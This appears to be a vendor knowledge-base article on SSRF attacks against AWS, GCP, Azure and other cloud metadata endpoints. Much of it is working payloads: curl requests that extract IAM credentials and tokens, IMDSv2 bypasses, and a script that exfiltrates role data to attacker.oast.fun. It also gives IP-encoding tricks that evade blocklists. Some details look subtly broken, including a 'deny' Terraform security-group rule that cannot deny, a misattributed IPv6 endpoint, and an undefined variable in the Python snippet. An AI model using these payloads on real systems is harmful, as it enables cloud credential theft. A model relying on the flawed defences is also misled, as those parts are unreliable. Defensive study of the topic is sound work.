SSRF targeting cloud provider metadata endpoints (169.254.169.254) to steal IAM credentials and instance configuration.
TL;DR
169.254.169.254: link-local endpoint reachable only from within the instance — SSRF is the only external pathMetadata-Flavor: Google header — CRLF injection bypasses this requirement168.63.129.16: no authentication, port 32526 exposes encrypted credentials169.254.169.254 but bypass string filtersCloud metadata SSRF is the highest-impact variant of CWE-918. Every major cloud provider — AWS, GCP, Azure, DigitalOcean, IBM, Oracle, Alibaba — exposes a metadata HTTP service at the link-local address 169.254.169.254 (or equivalent) that is reachable only from within the instance. This service provides configuration, identity, and credential data to running workloads without requiring authentication.
SSRF is the only external attack path to this endpoint. An application running on EC2 that makes server-side HTTP requests to user-supplied URLs can be exploited to reach 169.254.169.254 from the server's perspective. The credentials returned are temporary (rotated every ~6 hours) but fully functional AWS credentials with the attached IAM role's permissions. In 2019, this pattern resulted in the Capital One breach — 106 million records, $80M fine.
| Feature | IMDSv1 | IMDSv2 |
|---|---|---|
| Authentication | None — GET only | PUT to obtain session token first |
| Required headers | None | X-aws-ec2-metadata-token-ttl-seconds on PUT; X-aws-ec2-metadata-token on GET |
| X-Forwarded-For | Accepted | Automatically rejected |
| Hop limit | None | Default 1 (blocks containerized requests unless raised to 2) |
| SSRF exploitability | Trivially exploitable with basic SSRF | Requires multi-step SSRF or header injection |
| Deployment (2024) | 68% of EC2 instances | 32% of EC2 instances (enforced) |
IMDSv2 enforcement date: October 2024, AWS began requiring IMDSv2 for new instance launches via default settings, but existing instances remain at IMDSv1 unless explicitly migrated.
# Step 1: List available IAM roles (no auth required)
curl "https://target.app/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response: ISRM-WAF-Role
# Step 2: Fetch credentials for the role
curl "https://target.app/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role"
# Response:
# {
# "Code": "Success",
# "LastUpdated": "2024-03-14T08:32:12Z",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "Token": "AQoDYXdzEJr...",
# "Expiration": "2024-03-14T14:32:12Z"
# }
# High-value bonus endpoints
# Bootstrap scripts (often contain hardcoded secrets)
curl "https://target.app/fetch?url=http://169.254.169.254/latest/user-data/"
# Instance identity (account ID, region, AMI)
curl "https://target.app/fetch?url=http://169.254.169.254/latest/dynamic/instance-identity/document"IMDSv2 requires a PUT with X-aws-ec2-metadata-token-ttl-seconds header. Four bypass conditions:
Condition 1 — Header injection SSRF: If the SSRF allows setting arbitrary request headers, execute the two-step flow:
# Step 1: PUT to get token (requires header injection capability)
session.put(
"http://169.254.169.254/latest/api/token",
headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
)
token = response.text # e.g., "AQAAAbbbccc..."
# Step 2: GET metadata with token
session.get(
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
headers={"X-aws-ec2-metadata-token": token}
)Condition 2 — Headless browser PDF generator: PDF generators (wkhtmltopdf, Puppeteer, Headless Chrome) run JavaScript. A page with <script> can execute the full IMDSv2 fetch() PUT+GET sequence:
<!-- Injected into PDF template -->
<script>
fetch('http://169.254.169.254/latest/api/token', {
method: 'PUT',
headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
}).then(r => r.text()).then(token => {
return fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {
headers: {'X-aws-ec2-metadata-token': token}
});
}).then(r => r.text()).then(role => {
document.write('<img src="https://attacker.oast.fun/' + btoa(role) + '">');
});
</script>Condition 3 — Redirect chain: The redirect server issues the PUT, then redirects to the GET URL. 307 Temporary Redirect preserves the HTTP method.
Condition 4 — SSRF-to-SSRF pivot: Use the initial SSRF to reach an internal service (Atlassian Confluence CVE-2019-8451 pattern) that itself makes HTTP requests with arbitrary headers.
ECS (Elastic Container Service) and Lambda use a different credential endpoint:
# ECS/Fargate — credentials at 169.254.170.2, not 169.254.169.254
# Step 1: Read process environment to get the credentials GUID
curl "https://target.app/fetch?url=file:///proc/self/environ"
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d8cb4e4c-f96e-4862-9a5f-...
# Step 2: Fetch credentials using the GUID
curl "https://target.app/fetch?url=http://169.254.170.2/v2/credentials/d8cb4e4c-f96e-4862-9a5f-..."
# Returns same JSON format as EC2 IMDS
# Lambda — credentials are directly in process environment variables
curl "https://target.app/fetch?url=file:///proc/self/environ"
# Look for: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKENThe file:// + ECS chain is a two-step SSRF: first read /proc/self/environ to discover the credentials URL, then fetch it. This requires protocol smuggling capability (see Protocol Smuggling SSRF).
# v1 — requires Metadata-Flavor: Google header
# Without the header, returns: HTTP 403 Forbidden
curl "https://target.app/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Returns: {"access_token":"ya29.c...","expires_in":3600,"token_type":"Bearer"}
# Project and instance info
curl "https://target.app/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
-H "Metadata-Flavor: Google"
# Alternative IP when DNS is blocked
curl "https://target.app/fetch?url=http://169.254.169.254/computeMetadata/v1/" \
-H "Metadata-Flavor: Google"
# Bypass: v1beta1 on older instances does not enforce Metadata-Flavor
curl "https://target.app/fetch?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"The Metadata-Flavor: Google requirement is bypassed when the SSRF also allows CRLF injection (CVE-2025-6454 pattern) — injecting arbitrary headers into the outbound request satisfies the GCP header requirement. The fd00:ec2::254 IPv6 address is an alternative endpoint on some GCP instances.
# Azure IMDS — requires Metadata: true header
# Automatically BLOCKS requests containing X-Forwarded-For
curl "https://target.app/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-12-13" \
-H "Metadata: true"
# Managed Identity token (system-assigned)
curl "https://target.app/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"
# Azure WireServer — 168.63.129.16 — NO authentication required
curl "https://target.app/fetch?url=http://168.63.129.16/?comp=versions"
# Confirms Azure environment
curl "https://target.app/fetch?url=http://168.63.129.16:32526/vmSettings"
# Returns encrypted extension commands — may contain credentialsThe Azure WireServer exploitation chain (CyberCX research):
http://168.63.129.16:32526/vmSettings — returns encrypted extension commandshttp://168.63.129.16/machine/?comp=goalstate — returns certificate URLsprotectedSettings — may contain plaintext credentials and command historyWireServer (168.63.129.16) has no authentication by default. Any application running as root or Administrator on an Azure VM can query it via SSRF. This is separate from the 169.254.169.254 IMDS endpoint — standard IMDS defenses do not block WireServer access.
# DigitalOcean — no special headers required
http://169.254.169.254/metadata/v1.json # full JSON metadata
http://169.254.169.254/metadata/v1/user-data # cloud-init scripts
# Alibaba Cloud — distinct IP
http://100.100.100.200/latest/meta-data/
# Oracle Cloud
http://169.254.169.254/opc/v2/ # requires: Authorization: Bearer Oracle
# IBM Cloud — same link-local range
http://169.254.169.254/metadata/v1/String-based blocklists checking for the canonical dotted-quad form are bypassed by alternate encodings:
# All of these reach 169.254.169.254
Decimal dword: http://2852039166/latest/meta-data/
Hex single: http://0xA9FEA9FE/latest/meta-data/
Octal per-octet: http://0251.0376.0251.0376/latest/meta-data/
Mixed encoding: http://0xA9.0376.169.254/latest/meta-data/
IPv6 mapped: http://[::ffff:169.254.169.254]/latest/meta-data/
IPv6 mapped hex: http://[::ffff:a9fe:a9fe]/latest/meta-data/
Redirect chain: https://302.r3dir.me/?r=http://169.254.169.254/latest/meta-data/Capital One 2019 — The most consequential cloud SSRF breach. A WAF (Modsecurity-based) running on EC2 with an overprivileged IAM role had an SSRF vulnerability. Attack sequence: SSRF to 169.254.169.254 → role name ISRM-WAF-Role → temporary credentials → AWS API calls → 700+ S3 buckets → 30 GB exfiltrated. Impact: 100 million US and 6 million Canadian customer records. Penalties: $80M OCC fine, $190M class action settlement. Paige Thompson, a former AWS contractor, was convicted of computer fraud and wire fraud (June 2022, sentenced to time served in October 2022 then resentenced to additional probation in 2023). The attack worked because IMDSv1 required no authentication and the IAM role had excessive S3 permissions.
CVE-2025-4123 — Grafana Image Renderer (CVSS 7.6) — Grafana's path traversal combined with an open redirect created a full-read SSRF when the Image Renderer plugin was installed. The renderer fetches URLs server-side for screenshot generation. An attacker-controlled URL redirected the renderer to http://169.254.169.254/latest/meta-data/iam/security-credentials/. One-third of all Grafana instances were estimated vulnerable at disclosure (May 2025).
UNC2903 GCP Credential Campaign (Mandiant 2024) — Nation-state actors targeted internet-facing workloads with SSRF vulnerabilities specifically to reach http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token. Extracted service account tokens enabled lateral movement within GCP projects. The campaign demonstrated that cloud metadata endpoints are active targets in advanced threat operations.
http://169.254.169.254/latest/meta-data/ — if response contains ami-id, hostname, or iam/, SSRF to AWS IMDS is confirmed.http://2852039166/, http://[::ffff:a9fe:a9fe]/, https://302.r3dir.me/?r=http://169.254.169.254/.http://metadata.google.internal/computeMetadata/v1beta1/ (no header required on legacy).http://168.63.129.16/?comp=versions.:3000/api/health), Docker API (:2375/version), etcd (:2379/health), Elasticsearch (:9200/), Prometheus (:9090/api/v1/targets).BreachVex probes common internal services — monitoring dashboards, container APIs, and orchestration datastores — with marker-based confirmation: a Grafana probe requires identity markers such as ami-id, AccessKeyId, or instance-id; a Docker API probe requires ApiVersion, GoVersion, or GitCommit; an etcd probe requires "health":"true" or etcd. Minimum marker thresholds prevent false positives from generic JSON responses.
# Enforce IMDSv2 on a specific instance
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Check all instances for IMDSv1 exposure
aws ec2 describe-instances \
--query "Reservations[].Instances[?MetadataOptions.HttpTokens=='optional'].{ID:InstanceId,State:State.Name}" \
--output table
# GCP — disable legacy endpoints
gcloud compute instances add-metadata INSTANCE_NAME \
--metadata disable-legacy-endpoints=true
# GCP — check metadata access policy
gcloud compute project-info describe --format="value(commonInstanceMetadata.items)"# Terraform — AWS Security Group: block outbound to IMDS and WireServer
resource "aws_security_group_rule" "deny_imds_egress" {
type = "egress"
protocol = "tcp"
from_port = 80
to_port = 80
cidr_blocks = ["169.254.169.254/32", "169.254.170.2/32"]
security_group_id = aws_security_group.app.id
}# Kubernetes NetworkPolicy — block pod access to IMDS
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-metadata-access
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 168.63.129.16/32 # Azure WireServer
- 100.100.100.200/32 # AlibabaEnforcing IMDSv2 at the instance level is necessary but not sufficient. Application-level defenses (URL allowlisting + post-DNS-resolution IP validation) must also be in place. An attacker with SSRF that allows custom HTTP headers can still bypass IMDSv2 by executing the PUT+GET sequence through the vulnerable application.
Cloud providers expose a link-local HTTP service at 169.254.169.254 (AWS, Azure, GCP, DigitalOcean) reachable only from within the instance. On AWS with IMDSv1, no authentication is required — a single GET request returns temporary IAM credentials valid for ~6 hours. SSRF is the only external attack path to this endpoint.
IMDSv1 requires only a GET request — no authentication, no session token. IMDSv2 requires a PUT request with X-aws-ec2-metadata-token-ttl-seconds header to obtain a session token first, then uses that token on subsequent requests. IMDSv2 also rejects requests containing X-Forwarded-For and enforces a hop limit of 1. As of late 2024, only 32% of EC2 instances enforce IMDSv2.
IMDSv2 is bypassable when the SSRF allows custom HTTP headers (enabling the PUT+GET sequence), when a headless browser (Puppeteer, wkhtmltopdf) executes the IMDSv2 JavaScript fetch() flow, when a redirect chain issues the PUT and redirects to the GET, or when the application proxies arbitrary HTTP methods.
GCP metadata is at http://metadata.google.internal/computeMetadata/v1/ or http://169.254.169.254/computeMetadata/v1/. The Metadata-Flavor: Google header is required for v1 — without it, the request returns 403. Older v1beta1 endpoints on some instances do not enforce the header. GCP also rejects requests containing X-Forwarded-For.
Azure WireServer at 168.63.129.16 (a distinct IP from 169.254.169.254) provides VM extension data with no authentication required. Port 32526 exposes vmSettings which can contain encrypted extension commands including credentials and command history. CyberCX research demonstrated a chain: query vmSettings → get certificate URLs → decrypt protectedSettings → recover plaintext credentials.
A WAF product running on EC2 with an overprivileged IAM role had an SSRF vulnerability. The attacker queried http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role, obtained temporary AWS credentials, enumerated 700+ S3 buckets, and exfiltrated 30 GB of data affecting 106 million customers. The $80M OCC fine remains one of the largest cloud security breach penalties.
Common bypasses: decimal dword 2852039166, hex 0xA9FEA9FE, octal 0251.0376.0251.0376, IPv6-mapped [::ffff:169.254.169.254], IPv6 hex [::ffff:a9fe:a9fe]. These all resolve to 169.254.169.254 but are not matched by string-based blocklists checking for the canonical dotted-quad form.
UNC2903 (Mandiant/Google Cloud Threat Intelligence) targeted internet-facing workloads with SSRF vulnerabilities specifically to reach GCP metadata endpoints. The campaign extracted OAuth tokens and service account tokens, then used them for lateral movement within GCP projects — demonstrating that cloud metadata SSRF is actively weaponized by nation-state actors.
Enable the metadata.google.internal Metadata-Flavor header enforcement (already on for v1). Disable legacy endpoint access: gcloud compute instances add-metadata INSTANCE_NAME --metadata disable-legacy-endpoints=true. Use Workload Identity instead of service account keys. Apply VPC Service Controls to restrict metadata access.